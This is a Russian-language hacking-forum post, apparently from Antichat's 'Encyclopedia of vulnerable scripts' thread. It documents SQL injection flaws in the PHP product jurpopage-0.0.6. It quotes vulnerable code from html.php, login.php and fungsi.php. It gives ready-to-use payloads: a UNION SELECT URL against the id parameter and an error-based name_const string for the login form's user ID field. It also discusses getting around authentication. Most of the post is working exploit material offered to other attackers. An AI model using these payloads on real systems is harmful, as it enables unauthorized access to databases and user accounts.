Энциклопедия уязвимых скриптов

#11

17.03.2010, 05:15

Strilo4ka

Reservists Of Antichat - Level 6

Регистрация: 05.04.2009

Сообщений: 231

С нами: 9000386

Репутация: 1148

product : jurpopage-0.0.6 Дополнение постов [x60]unu...
SQL inj
html.php
mg=off

PHP код:


		
			
...

if(empty($id)) $id=1;



$web = new speed_template($template_path);

$web->register($template_name);



$query = "

SELECT *

FROM webpg 

WHERE webpg_id='$id'

";

...

Result:
http://localhost/jurp/html.php?id=[sql]
http://localhost/jurp/html.php?id=3'+union+select+1,2,3--+

SQL inj
Файл login.php
POST + капча
mg=off
В скрипте 2 запроса.
Многострочный коментарий надо во второй запрос втулить чтоб обойти авторизацию, но так как там upper(), то не получаеться, вот. Но самое интересное что -- принимает.
В поле с USER ID такую строку

Цитата:

a') and(1,2)=(select * from(select+name_const(version(),1),name_const(ver sion(),1))a)--

и имеею иньекцию в первом запросе. Обязательны все 3 поля.

PHP код:


		
			
    ...$conn_id = connect();

        //--- check apakah ada nama user tersebut

        //master user

        $query = "

        SELECT 

            count(*) as user_exist 

        FROM 

            master_user 

        WHERE 

            upper(user_id) = upper('$send_user')

        ";

        $result = fn_query($conn_id,$query);

        $mRet =fn_fetch_row($result);

        if ($mRet[0]>0) {

            //proses

            while($rows = fn_fetch_array($result)) extract($rows,EXTR_OVERWRITE);

            $password = md5($password);

            $query = "

            SELECT 

                #user_id as temp_value, user_level as temp_level

                user_id as temp_value, user_level as temp_level, 

                master_user_id as temp_rowid

            FROM 

                master_user 

            WHERE 

                upper(user_id) = upper('$send_user') and 

                user_password = '$password'

            ";...

вывод ошибок от СУБД есть, файл fungsi.php

PHP код:


		
			
...function fn_query($conn, $input)

{

  //$result =pg_query($input,$conn);

  $result =@mysql_query($input,$conn);

  if (!$result)

  {

    die ("Error eksekusi:<br>".mysql_error());

    return false;

  }

  return $result;...